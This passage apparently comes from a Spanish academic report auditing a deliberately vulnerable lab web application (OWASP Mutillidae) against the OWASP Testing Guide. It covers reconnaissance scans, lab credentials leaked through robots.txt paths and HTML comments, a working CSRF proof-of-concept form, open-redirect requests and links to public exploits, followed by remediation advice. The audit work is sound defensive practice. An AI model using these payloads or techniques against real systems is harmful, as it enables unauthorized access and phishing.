Se pueden usar motores de busqueda para localizar esta informacion.
Ejemplos de informacion sensible que podria estar publicada:

e Diagramas de red y configuraciones.

e Posts e email de adminitradores con informacién sensible.
e Credenciales.

e Mensajes de error.

e Procedimientos.

e Desarrollos, tests, otras versiones de la pagina web.

Para encontrar mas facilmente la informacién se pueden usar los operadores
proporcionados por los motores de busqueda. Se pueden usar los siguientes
motores de busqueda:

e PBaidu

e binsearch.info

e Bing

e Duck duck go

e ixquick/startpage
e Google

e Shodan

e Punkspider

Pruebas realizadas

Esta prueba no se ha realizado ya que la aplicacidbn no esta publicada en
Internet. Para obtener informacion de la aplicacion se puede consultar algunos
de los buscadores indicados anteriormente, informacion de geolocalizacion, de
whois, registros dns, informacion publicada en paginas de pasteo como
pastebin.com, etc.

OTG-INFO-003 Review Webserver Metafiles for Information
Leakage

Descripcién

Los objetivos de este test son identificar fugas de informacion en el directorio
de la aplicacion o rutas de la carpeta, y crear una lista de los directorios de los
gue no se permite su indexacién por los crawlers o spiders de los motores de
busqueda.

Herramientas:

e Browser
e Curl

54



e wget
e rockspider

Pruebas realizadas
Se detecta lo siguiente:

e Se analiza el fichero robots.txt. Existen multitud de directorios

User-agent: *

Disallow: passwords/
Disallow: config.inc
Disallow: classes/
Disallow: javascript/
Disallow: owasp-esapi-php/
Disallow: documentation/
Disallow: phpmyadmin/
Disallow: includes/

e En la ruta passwords/ de la pagina existe un fichero con nombre
accounts.txt que contiene credenciales de usuarios:

1,admin,admin,g0@t r00t?,Admin
2,adrian,somepassword,Zombie Films Rock!,Admin
3,john,monkey,I like the smell of confunk,Admin
4,jeremy,password,d1373 1337 speak,Admin
5,bryce,password,I Love SANS,Admin
6,samurai,samurai,Carving fools,Admin
7,jim,password,Rome is burning,Admin
8,bobby,password,Hank is my dad,Admin
9,simba,password,I am a super-cat,Admin
10,dreveil, password,Preparation H,Admin
11,scotty,password,Scotty do,Admin
12,cal,password,C-A-T-S Cats Cats Cats,Admin
13, john,password,Do the Duggie!,Admin
14,kevin,42,Doug Adams rocks,Admin
15,dave,set,Bet on S.E.T. FTW,Admin
16,patches,tortoise, meow, Admin

17, rocky,stripes,treats?,Admin

18,tim, lanmaster53,Because reconnaissance is hard to spell,Admin
19, ABaker,SoSecret,Muffin tops only,Admin
20,PPan,NotTelling,Where is Tinker?,Admin
21,CHook,JollyRoger,Gator-hater,Admin
22,james,i<3devs,Occupation: Researcher,Admin
23,user,user,User Account,Admin
24,ed,pentest,Commandline KungFu anyone?,Admin

e En la ruta phpmyadmin/ hay una pagina de login del gestor de bases de
datos phpMyAdmnin.
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includes/ hay ficheros de configuracién de la pagina web.

php

Bienvenido a phpMyAdmin

Idioma - L
’7| Espafiel - Spanish

Iniciar sesion
Usuario:
Contrasena:

| Continuar |

llustracion 19: PhpMyAdmin Login Page

Index of /includes

Name

Last modified Size Description

a Parent Directory

@ anti-framing-protection.inc
@ back-button.inc

@ config.inc

@ constants.php

@ create-html-5-web-storage-target.inc
@ footer.php

@ header.php

@ help-button.inc

(23 hints-level-1/

(03 hints-level-2/

@ information-disclosure-comment.php

@ insufficient-transport-layer-protection.inc

@ jquery-init.inc

[?) Log-visit.php

@ main-menu.php

@ minimum-class-definitions.php
@ pop-up-help-context-generator.php
@ pop-up-status-notification.inc

@ process-login-attempt.php

(0] test/

26-Sep-2013 22:47 704
28-Jul-2015 21:51 2.1K
26-Sep-2013 22:47 399
28-Jul-2015 21:51 3.9K
26-5ep-2013 22:47 381
18-Tun-2015 21:26 2.7K
28-Jul-2015 21:51 9.1K
26-Sep-2013 22:47 463
28-Jul-2015 21:51 -
28-Jul-2015 21:51 -
18-Tun-2015 21:26 1.3K
26-Sep-2013 22:47 439
26-Sep-2013 22:47 497
26-Sep-2013 22:47 713
18-JTun-2015 21:26 33K
26-Sep-2013 22:47 1.3K
26-Sep-2013 22:47 14K

05-May-2015 21:06 2.1K
05-May-2015 21:06 4.5K

10-Apr-2016 15:01 -

llustracion 20: Directory Listing

En
ruta

OTG-INFO-005 Review Webpage Comments and Metadata for
Information Leakage

Descripcién
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El objetivo de este test es revisar los comentarios y metadatos de la aplicacion
web para entender mejor la aplicacién y encontrar alguna fuga de informacién.

Herramientas:

e Woqget

e Browser
e Eyeballs
e Curl

e nmap

Pruebas realizadas

Se descargan los comentarios de la pagina con el script NSE de Nmap http-
comments-displayer:

# nmap --script http-comments-displayer www.shopathome.com

Se observa lo siguiente:

e Credenciales de una aplicacion Redmine publicada en el servidor:

| Path: https://www.shopathome.com:443/

| Line number: 395

[ Comment:

| <!--<td ><a href="javascript:animatedcollapse.toggle('redmine')"><img
src="images/Knob_Add.png" width="20px" height="20px" border="0" title="More Info"
/></a></a><a href="redmine">Redmine</a>

[ <div id="redmine" style="width: 400px; background: #D2FBFF;
display:none">

| <b>Version: </b>0.9.6<br />

| <b>Language: </b>Ruby<br />

[ <b>User Credentials (username/password): </b>user/user<br />

| <b>Admin Credentials (username/password): </b>admin/admin<br />

| <b>Release Date: </b>July 08, 2010<br />

| <b>Link: </b><a href="http://www.redmine.org/">home page</a><br />

[ </div></td>-->

e Credenciales de una aplicacion phpBB2 publicada en el servidor:

| Path: https://www.shopathome.com:443/
| Line number: 330
| Comment:

| <!--<td><a href="javascript:animatedcollapse.toggle('phpbb2')"><img
src="images/Knob Add.png" width="20px" height="20px" border="0" title="More Info"
/></a></a><a href="phpBB2">phpBB</a>

| <div id="phpbb2" style="width: 400px; background: #D2FBFF;
display:none">

| <b>Version: </b>2.0.0<br />

[ <b>Language: </b>PHP<br />

[ <b>Admin Credentials (username/password): </b>admin/admin<br />

| <b>User Credentials (username/password): </b>user/user<br />

| <b>User Credentials (username/password): </b>mod/mod<br />

| <b>Release Date: </b>April 4, 2002<br />

| <b>Link: </b><a href="http://www.phpbb.com/">home page</a><br />

| </div></td>-->

e Credenciales de la pagina principal:
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| Path: https://www.shopathome.com:443/

| Line number: 255

| Comment:

[ <!--<b>Admin Credentials (username/password) :
</b>admin@owaspbwa.org/adminadmin<br />-->

e Cuentas de correo publicadas en el sitio web pueden ser utilizadas para
el envio de spam, phishing o ataques de ingenieria social:

# nmap --script http-email-harvest www.shopathome.com

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-05-14 22:16 CEST
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 66.67% done; ETC: 22:16 (0:00:05 remaining)

Nmap scan report for www.shopathome.com (192.168.1.137)

Host is up (0.00023s latency).

Not shown: 991 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

| http-email-harvest:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=www.shopathome.com
| license@php.net

139/tcp open netbios-ssn

143/tcp open 1imap

443/tcp open https

| http-email-harvest:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=www.shopathome.com
| admin@owaspbwa.org

| psiinon@gmail.com

| test@thebodgeitstore.com

| bob@ateliergraphique.com

| jack@metacorp.com

| admin@metacorp.com

_ cycloneuser-3@cyclonetransfers.com

445/tcp open microsoft-ds

5001/tcp open commplex-link

8080/tcp open http-proxy

8081/tcp open blackice-icecap

MAC Address: 08:00:27:6A:7E:C2 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 16.71 seconds

Se detecta la presencia del fichero phpinfo.php en la raiz del sitio, el cual
proporciona gran cantidad de informacion de la configuracién del sistema:

PHP Version 5.3.2-1ubuntu4.30

Php

System Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686
Build Date Apr17 2015 15:01:49
Server API Apache 2.0 Handler

Virtual disabled
Directory
Support

Configuration | /etc/phps m
File (php.ini)
Path

Loaded fowaspbwalowaspbwa-svnlete/phps/apache2/php.ini
Configuration
File

Scan this dir |/etc/php5/apache2/conf.d
for additional

ini files

Additional fete/phpSiapache2/conf.dleurl.ini, fetc/phpSiapache2iconf.digd.ini,

ni files fetc/phpS/apache2/conf.d/merypt.ini, fetc/phpS/apache2/conf.dimysql.ini,

parsed Jfete/phpS/apache2/conf.d/mysqll.ini, fetc/phpS/apache2/conf.d/pdo.ini,
fetc/phpSiapache2/conf.d/pdo_mysgl.ini

PHP APl 20090626

PHP 20090626

Evtancinn

llustracion 21: Phpinfo.php
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2.2.7 A7 - Ausencia de Control de Acceso a las Funciones

La mayoria de aplicaciones web verifican los derechos de acceso a nivel de
funcion antes de hacer visible en la misma interfaz de usuario. A pesar de esto,
las aplicaciones necesitan verificar el control de acceso en el servidor cuando
se accede a cada funcién. Si las solicitudes de acceso no se verifican, los
atacantes podran realizar peticiones sin la autorizacion apropiada.

Para determinar si una aplicacion falla en restringir adecuadamente el acceso a
nivel de funcionalidades hay que verificar cada funcionalidad de la aplicacion:

e La interffaz Ul muestra la navegacion hacia funcionalidades no
autorizadas.

e Existe autenticacion del lado del servidor, o se han perdido las
comprobaciones de autorizacion.

e Los controles del lado del servidor se basan exclusivamente en la
informacion proporcionada por el atacante.

Revisar con un proxy, o en codigo. Las herramientas automatizadas no suelen
encontrar estos problemas.

Pruebas realizadas

Tras las pruebas realizadas no se aprecia que hay un control de acceso para
las funcionalidades ofrecidas por el sitio web.

2.2.8 A8 - Falsificacion de Peticiones en Sitios Cruzados
(CSRF)

Un ataque CSRF obliga al navegador de una victima autenticada a enviar una
peticion HTTP falsificado, incluyendo la sesion del usuario y cualquier otra
informacion de autenticaciéon incluida automaticamente, a una aplicacion web
vulnerable. Esto permite al atacante forzar al navegador de la victima para
generar pedidos que la aplicacién vulnerable piensa son peticiones legitimas
provenientes de la victima.

e Verificar la ausencia de token impredecible en cada enlace y formulario.
Un atacante puede falsificar peticiones maliciosas. Una defensa
alternativa puede ser la de requerir que el usuario demuestre su
intencion de enviar la solicitud, ya sea a través de la reautenticacion, o
mediante otra prueba que demuestre que se trata de un usuario real
(captcha).

e Centrarse en los enlaces y formularios que invoquen funciones que
permitan cambios de estado.

e Verificar las operaciones de multiples pasos.

e Las cookies de sesion, direcciones IP de origen, asi como otra
informacion enviada automaticamente por el navegador no proveen
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ninguna defensa ya que esta informacion también se incluye en las
solicitudes falsificadas.

OTG-SESS-005 Testing for Cross Site Request Forgery
Descripcién

CSRF es un ataque que fuerza a un usuario a ejecutar una accion no deseada
en una web en la que esta autenticado. El ataque va acompafado de ingenieria
social para incitar al usuario a pulsar sobre el enlace que ejecuta la accién. El
sitio web confia en el usuario y las acciones que realiza. El atacante, aunque
no conoce las credenciales del usuario ni la cookie de sesion, podria ejecutar
acciones a través de la victima. Este ataque explota la confianza que un sitio
web tiene en un usuario en particular.

Para testear este control es necesario:

Conocer la url que ejecuta la accion.

Construir una pagina html que contenga una peticion a la url.
Estar seguro de que el usuario esté logado en la aplicacion.
Inducir al usuario a que pulse en la url.

e Observar el resultado.

Pruebas realizadas

En la pégina http://www.shopathome.com/index.php?page=add-to-your-
blog.php se permite agregar comentarios a través de un formulario. Esta accion
no solicita ningun tipo de validacién, solo es necesario agregar el texto y pulsar
el botdn para almacenar la entrada en la base de datos.

Se podria agregar un comentario que agregara una entrada automaticamente
cuando el usuario realizara una accién sobre la pagina.

<form id="f" action="index.php?page=add-to-your-blog.php" method="post"
enctype="application/x-www-form-urlencode
dll>

<input type="hidden" name="csrf-token" value="best-guess"/>

<input type="hidden" name="blog entry" value="CSRF Testing"/>

<input type="hidden" name="add-to-your-blog-php-submit-button" value="TESTING"/>
</form>

<i onmouseover="window.document.getElementById(\'f\"').submit()">CSRF Testing</i>

Se comprueba que se ha agregado el cédigo como un nuevo comentario:

( Add blog for admin |
( Mote: <bs,<i> and <u> are now allowed in blog entries ]

<form id="f" action="index.phpTpage=add-to-your-blog php” method="post" gnatepe="application [-w-form-urlencede
">

<ingut type="hicden” name="garf-1gken” value="best-guess’/ >

<ingut type="higden" name="blog_entry” value="CSRF Testing"/ >

<input type="hicden” name="agd-10-3uez Rls=RbRzsubmit=hunen” value ="TESTING' />

< farm>

<i pRmauseaxer="window.document.getElementByldi, Ty submin = CSAF Testing /i

Save Blog Entry

llustracion 22: Add blog for admin


http://www.shopathome.com/index.php?page=add-to-your-blog.php
http://www.shopathome.com/index.php?page=add-to-your-blog.php

View Blogs
N g

2 Current Blog Entries

Name Date Comment
admin 2016-04-10 15:12:01 CSAF Testing
admin 2009-03-01 22:31:13 Fear me, for | am ROOT!

llustracion 23: Current Blogs Entries

Ahora cada vez que el usuario recargue la pagina o pase el ratdn por encima
del campo comment de la tabla se crearan de forma automatica nuevos
comentarios:

\ View Blogs
8 Current Blog Entries
Name Date Comment
1 admin 2016-04-10 15:112:41 CSRF Testing
2 |admin 2016-04-10 15:112:41 CSRF Testing
3  [admin 2016-04-10 15:112:41 CSRF Testing
4 [admin 2016-04-10 15:12:40 CSRF Testing
5 admin 2016-04-1015:112:24 CSAF Testing
6 [admin 2016-04-10 15112117 CSAF Testing
7 admin 2016-04-10 15:112:01 CSAF Testing
8 admin 2009-03-01 22:31:13 Fear me, for | am ROOT!
llustracion 24: Nuevas entradas creadas
229 A9 - Uso de Componentes con Vulnerabilidades
Conocidas

Algunos componentes tales como las librerias, los frameworks y otros médulos
de software casi siempre funcionan con todos los privilegios. Si se ataca un
componente vulnerable esto podria facilitar la intrusién en el servidor o una
perdida seria de datos. Las aplicaciones que utilicen componentes con
vulnerabilidades conocidas debilitan las defensas de la aplicacion y permiten
ampliar el rango de posibles ataques e impactos.

e Determinar si se esta usando un componente o biblioteca vulnerable.
e Buscar en bases de datos de vulnerabilidades.
e Analizar y revisar si el codigo usa un componente vulnerable.

OTG-INFO-002 Fingerprint Web Server

Descripcién
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Encontrar la version y tipo del servidor web utilizado para determinar la
presencia de vulnerabilidades y el uso de los exploits apropiados durante la
auditoria.

Herramienta:
e nmap

Pruebas realizadas

Se ejecuta la herramienta nmap y se descubren los puertos abiertos, servicios
y versiones de estos servicios:

# nmap -sV www.shopathome.com

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-05-14 16:27 CEST
Nmap scan report for www.shopathome.com (192.168.1.137)

Host is up (0.00020s latency).

Not shown: 991 closed ports

PORT STATE SERVICE VERSION
22/tcp  open ssh OpenSSH 5.3pl Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with

Suhosin-Patch proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl1/2.2.14 OpenSSL...)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

143/tcp open imap Courier Imapd (released 2008)

443/tcp open ssl/http Apache httpd 2.2.14 ((Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with
Suhosin-Patch proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl1/2.2.14 OpenSSL...)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

5001/tcp open java-rmi Java RMI

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8081/tcp open http Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit the
following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=6.49BETA4%I=7%D=5/14%Time=573735C5%P=x86_64-pc-linux-gnu

SF:%r(NULL,4, "\xac\xed\0\x05");

MAC Address: 08:00:27:6A:7E:C2 (Cadmus Computer Systems)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Se detectan algunos servicios con multiples vulnerabilidades:

e OpenSSH 5.3p1: https://www.cvedetails.com/vulnerability-list/'vendor_id-
97/product_id-585/version_id-188820/Openbsd-Openssh-5.3.html

e Apache httpd 2.2.14: tiene un total de 28 vulnerabilidades conocidas.
Algunas tienen exploits publicos disponibles:

o CVE-2011-3368: http://www.exploit-db.com/exploits/17969
o CVE-2011-3192: https://www.exploit-db.com/exploits/17696/

e EIl servicio Apache posee también una vulnerabilidad con valor
CVSS 10 que permite la ejecucion de codigo arbitrario: CVE-2010-0425

https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-
66/version_id-87506/Apache-Http-Server-2.2.14.html

OTG-INFO-008 Fingerprint Web Application Framework
Descripcién

Determinar el tipo del framework web usado para ayudar a la metodologia de
test realizada durante la auditoria.
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Se puede obtener informacion de las siguientes fuentes:

e Cabeceras HTTP

e Cookies

e (Codigo HTML

e Ficheros y carpetas especificos
e Extensiones de ficheros

e Mensajes de error

Pruebas realizadas

Se ejecuta la herramienta whatweb para obtener informacion del framework:

# whatweb www.shopathome.com

http://www.shopathome.com [200] Apache[2.2.14]
[mod mono/2.4.3,mod perl/2.0.4,mod python/3.3.1,mod ssl/2.2.14,proxy html/3.0.11,
Cookies[PHPSESSID, showhints], Country[RESERVED] [ZZ], HTTPServer[Ubuntu Linux]

[Apache/2.2.14  (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod ssl1/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1], IP[192.168.1.137],
OpenSSL[0.9.8k], PHP[5.3.2-1ubuntu4.30][Suhosin-Patch], Perl[5.10.1],
Phusion Passenger[4.0.38], Python[2.6.5], UncommonHeaders[logged-in-user], X-Powered-
By [PHP/5.3.2-1ubuntu4.30]

Se identifican vulnerabilidades asociadas a las versiones de software
detectadas:

e PHP 5.3.2: esta version de PHP tiene un total de 86 vulnerabilidades,
algunas con exploits disponibles y de valoracién CVSS de 10.

o https://lwww.cvedetails.com/vulnerability-list/'vendor_id-74/product_id-
128/version_id-90936/PHP-PHP-5.3.2.html

e OpenSSL 0.9.8k: la version de esta libreria tiene asociadas un total de
40 vulnerabilidades, algunas con un valor CVSS de 10.0.

o https://www.cvedetails.com/vulnerability-list/'vendor_id-
217/product_id-383/version_id-76936/0Openssl-Openss|-0.9.8k.html

e Perl 5.10.1: esta version del interprete de Perl tiene asociadas 6
vulnerabilidades.

o https://lwww.cvedetails.com/vulnerability-list/'vendor_id-
1885/product_id-13879/version_id-107045/Perl-Perl-5.10.1.html

e Python 2.6.5: este interprete de python tiene asociadas un total de 8
vulnerabilidades.

o http://www.cvedetails.com/vulnerability-list/'vendor _id-
10210/product_id-18230/version_id-109905/Python-Python-2.6.5.html

OTG-INFO-009 Fingerprint Web Application
Descripcién
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Identificar la aplicacion web y la version para determinar vulnerabilidades
conocidas y los exploits apropiados para usarlos durante las pruebas de
auditoria.

Pruebas realizadas
Se detecta lo siguiente:

e Analizando el codigo fuente de la pagina a través de un navegador se
puede observar que se trata de la aplicacion Mutillidae versién 2.6.24.

mg" />
OWASP Mutillidae IT: Web Pwn in Mass Production
</span>
2.2.10
Al0 -
center"” colspan="7">
<gpan class="version-header">Version: 2.6.24</span>
evelHeading" class="version-header” style="margin-left: 20px;">Secu

llustracion 25: Version de la aplicacion en el codigo HTML
Redirecciones y reenvios no validados

Las aplicaciones web frecuentemente redirigen y reenvian a los usuarios hacia
otras paginas o sitios web, y utilizan datos no confiables para determinar la
pagina de destino. Sin una validacién apropiada, los atacantes pueden redirigir
a las victimas hacia sitios de phishing o malware, o utilizar reenvios para
acceder paginas no autorizadas.

e Revisar el cbédigo para detectar el uso de redirecciones 0 reenvios.
Identificar si la URL objetivo se incluye en el valor de algin parametro. Si
es asi, si la URL no es validada con una lista blanca, es vulnerable.

e Recorrer la aplicaciébn para observar si genera cualquier redireccion.
Analizar los parametros facilitados antes de la redireccién para ver si
parecen ser una URL de destino o un recurso de dicha URL. Si es asi,
modificar la URL de destino y observar si la aplicacion redirige al nuevo
destino.

e Si el cédigo no se encuentra disponible, se deben analizar todos los
paradmetros para ver si forman parte de una redireccion o reenvio de una
URL de destino y probar lo que hacen estos.

OTG-CLIENT-004 Testing for Client URL Redirect
Descripcién

Esta vulnerabilidad consiste en un defecto en la validacion de una entrada en la
gue se proporciona una url externa, ésta podria ser maliciosa y ser utilizada
para llevar a cabo un ataque de phishing o redirigir a un usuario a un sitio
malicioso.

El problema es que se acepta una url no confiable sin sanitizar. La url
introducida podria redirigir al usuario a una pagina maliciosa. En esta pagina un

64



atacante podria colocar un pagina suplantando la identidad y robar las
credenciales del usuario.

Esta prueba no se suele realizar en auditorias de caja negra desde que el
acceso al cédigo fuente esta siempre disponible como es necesario ser enviado
al cliente para ser ejecutado.

Pruebas realizadas

En la pagina credits.php se realiza un reenvio de paginas:

( Credits

\r}) Back Q Help Me!

Hints

Developed by Jeremy "webpwnized"” Druin. Based on Mutillidae 1.0 from Adrian "lrongeek" Crenshaw.

OWASP

ISSA Kentuckiana
OWASP Louisville
Helpful Firefox Add-Ons

La url a la

que se

reenvia el . )
usuario se llustracion 26: Credits Page
le pasa al

parametro “forwardurl”:

GET /index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=credits.php

Cookie: PHPSESSID=7j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

Se puede modificar el parametro y reenviar al usuario a otro sitio, un atacante
podria utilizarlo para dirigir a los usuarios a sitios maliciosos:

GET /index.php?page=redirectandlog.php&forwardurl=http://www.amazon.com HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=credits.php

Cookie: PHPSESSID=73j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

GET / HTTP/1.1

Host: www.amazon.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
Connection: keep-alive

2.3 Recomendaciones

Tras las pruebas realizadas se indican una serie de recomendaciones a aplicar
en la organizacion y en los sistemas auditados.

Dado que la aplicaciébn presenta los riesgos mas importantes y criticos
descritos por OWASP es possible comprometer la informacién que se maneja
en la aplicacion y la funcionalidad que ofrece a sus usuarios. Pero las
vulnerabilidades detectadas no s6lo suponen un riesgo para la informacién que
contiene la aplicacién sino para toda la organziacion ya que puede ser utilizada
para pivotar a redes internas y acceder a servicios internos de la compaifiia.

Por estos motivos actualmente esta aplicacion supone un riesgo para la
organizacion y deberia valorarse su desconexion hasta que pueda garantizar
unas protecciones minimas de seguridad. En el caso de que no pueda
desconectarse por ser necesaria para el negocio de la compafia se
recomienda lo siguiente para reducir el impacto que puedan generar incidentes
derivados de la explotacion de las vulnerabilidades detectadas:

e Aislamiento de la apliaciéon en una red que no tenga comunicacion con
otros sistemas (especialmente internos).

e Implementacion de sistemas de deteccién y prevencion de intrusos que
permitan visualizar, trazar eventos de seguridad y en la medida de lo
possible bloquear los intentos de explotacion de las vulnerabildades
detectadas.

e Activar los logs de los sistemas y su envio a servidores externos a la
magquina.

e Desactivacion de todos los servicios y funcionalidades que no sean
estrictamente necesarias.

e Poner en marcha de manera urgente un plan de actualizacién de la
pagina web y los servicios que contiene para corregir las
vulnerabilidades detectadas.

La seguridad deberia de estar presente en todas las fases del desarrollo de
una aplicacion, y no tratarse de forma puntual al finalizar el desarrollo:

Antes del desarrollo.

e Definicion y disefio.

e Durante el desarrollo.

e Despliegue.

¢ Mantenimiento y soporte.

Basandonos en los controles de la 1ISO27002 se recomienda también aplicar
las siguientes medidas:
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Gestion de activos:

(e]

o

(e]

Generar un inventariado y valoracion de los activos de la
organizacion.

Implementar un procedimiento de actualizacién de inventario de
activos.

Asignar responsabilidades sobre los activos.
Clasificar la informacidon que se maneja en la organizacion.

Determinar la sensibilidad de la informacion y como ha de usarse.

Control de accesos:

(o]

o

Definir una politica de control de accesos a redes y servicios.

Definir un procedimiento de gestion de cuentas de usuarios donde se
determinen las altas y bajas de usuarios, los derechos de acceso
asignados, la informacion que se permite gestionar a los usarios, una
revision de los derechos y la retirada de permisos.

Definir procedimientos seguros de inicio de sesion.

Definir una politica segura de contrasefias.

Cifrado:

o

Definir unas politicas seguras para el cifrado de la informacion y
gestion de claves.

Seguridad en la operativa:

(e]

(e]

o

Definir y aplicar procedimientos de gestion de cambios que permitan
tener los sistemas actualizados.

Separacion de los entornos de desarrollo, prueba y produccion.
Aplicar controles contra el cédigo malicioso.

Realizar copias de seguridad de la informacion.

Registrar la actividad en los sistemas y proceder a su supervision.
Generar un procedimiento de gestion de vulnerabilidades.

Aplicar auditorias técncias de forma periddica.

Adquisicién, desarrollo y mantenimiento de los sistemas de
informacioén.

o

(e]

Aplicar una politica de desarrollo seguro de software.

Revision técnica de las aplicaciones tras efectuar cambios en el
sistema operativo.
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o Aplicar medidas de seguridad en los entornos de desarrollo.
o Proteccion de los datos utilizados en pruebas.
e Gestion de incidentes.

o Definir un procedimiento de gestion de incidentes.
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3. Conclusiones

Al comienzo del documento se ha mostrado como cada vez hay mas usuarios
gue hacen uso de Internet, y la tendencia actual de presentar la informacion de
los servicios ofrecidos a los usarios a través de paginas web.

Es necesario que estos servicios estén accesibles publicamente en redes
inseguras como es el caso de Internet.

Tras analizar los principales riesgos presentes en las aplicaciones web
indicados por OWASP, se ha comprobado que un compromiso de estas
aplicaciones puede suponer un gran impacto en las organizaciones, afectando
tanto a la informacion que manejan, como a las funcionalidades, la confianza
gue depositan los usuarios, la imagen de la organizacion, y a los ingresos de
las compafias.

Aunque las auditorias técnicas de seguridad son una buena herramienta para
detectar problemas de segurdiad en las aplicaciones, y éstas deberian de
aplicarse de forma peridédica en las organizaciones, no hay que perder de vista
gue la seguridad debe de estar presente en todo el ciclo del desarrollo de
software.

La planificacion del proyecto se ha seguido segun lo previsto y tras la
finalizacion se comprueba que ha sido adecuada.

Sin embargo se ha detectado que la comprobacién de los controles que
propone OWASP en su Testing Guide requiere de una gran cantidad de tiempo,
por lo que la eleccion de los controles a auditar debe de tener este factor en
cuenta y ajustarse al tiempo disponible.

Como lineas de trabajo futuro se podria avanzar automatizando la
comprobacion de estos controles, reduciendo de esta manera el tiempo que el
auditor tiene que invertir en esta fase, que es, con diferencia, la que mas
tiempo supone en todo el proceso de auditoria.
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4. Glosario

Autorizacion: protege los recursos de un sistema permitiendo que sélo sean
usados por aquellos usuarios a los que se les ha concedido el acceso.

Cookie: pequefia cantidad de datos enviados por un servidor web a un cliente,
los cuales pueden ser almacenados y devueltos un tiempo después. Las
cookies son usadas para mantener el estado de los usuarios o guardar
actividad de navegacion.

Cross-Site Scripting: técnica de ataque que permite a una tercera persona
inyectar en el sitio web cddigo Javascript o en otro lenguaje similar, evitando
medidas de control como la Politica del mismo origen.

Denegacion de Servicio: técnica de ataque que consume todos lo recursos
disponibles de un sitio web con la intencion de que no sea posible acceder por
los usuarios legitimos. Los recursos a comsumir pueden ser tiempo de CPU,
memoria, ancho de banda, espacio en disco, etc. Cuando uno de esos recursos
alcanza su capacidad completa, el sistema normalmente sera inaccesible para
la actividad normal de los usuarios.

Directorio trasversal: técnica usada para explotar sitios web accediendo a
ficheros y comandos mas alla del directorio raiz de la aplicacion. La mayoria de
las aplicaciones web restringen el acceso del usuario a una carpeta del sistema
de ficheros, normalmente llamada el document root. Esos directorios contienen
ficheros y ejecutables para uso publico. En la mayoria de los casos, un usuario
no deberia de de ser capaz de acceder a ficheros mas alla de ese punto.

Firewall de aplicacién web: un dispositivo intermediario, entre un cliente web
y un servidor web, que analiza los mensajes de la capa 7 de la pila OSI en
busca de intentos de ataques o peticiones andémalas. Se utiliza para proteger el
servidor web de ataques.

Fuerza bruta: forma de recuperar una contrasefia probando todas las
combinaciones possibles hasta encontrar aquella que permite el acceso.

Fuga de informacién: cuando una pagina web revela informacion sensible,
como los comentarios de un desarrollador o mensajes de error, los cuales
pueden ser usados por un atacante apra comprometer un sistema.

Hypertext Transfer Protocol (HTTP): esquema de protocolo usado en la Wold
Wide Web. HTTP describe la manera en que un cliente pide datos y como un
servidor web responde a esas peticiones.

Identificador de sesidén: son datos usados en redes de comunicaciones (a
menudo sobre HTTP) para identificar una sesién, es decir, una serie de
mensajes intercambiados relacionados. Los identificadores de sesién son
necesarios en los casos en los que se use protocolos sin estado como HTTP.
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Inyeccion SQL: es una técnica de ataque que inyecta cédigo SQL en los
puntos de entrada de una aplicacion para alterar el contenido o funcionamiento
normal y ejecutar el cédigo malicioso en la base de datos.

Javascript: popular lenguaje de scripting del lado del cliente usado para crear
paginas de contenido dinamico.

Secure Socket Layer (SSL): protocolo de clave publica estandar usado para
crear tuneles cifrados entre dos dispositivos conectados en una red.

Servidor web: software de propésito general que maneja y responde a

peticiones HTTP. Un servidor web puede utilizar una aplicacion web para
generar una pagina web con contenido dinamico.
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6. Anexos

Anexo 1: Controles OWASP

OTG-INFO-001
OTG-INFO-002
OTG-INFO-003
OTG-INFO-004
OTG-INFO-005
OTG-INFO-006
OTG-INFO-007
OTG-INFO-008
OTG-INFO-009
OTG-INFO-010

OTG-CONFIG-001
OTG-CONFIG-002
OTG-CONFIG-003
OTG-CONFIG-004
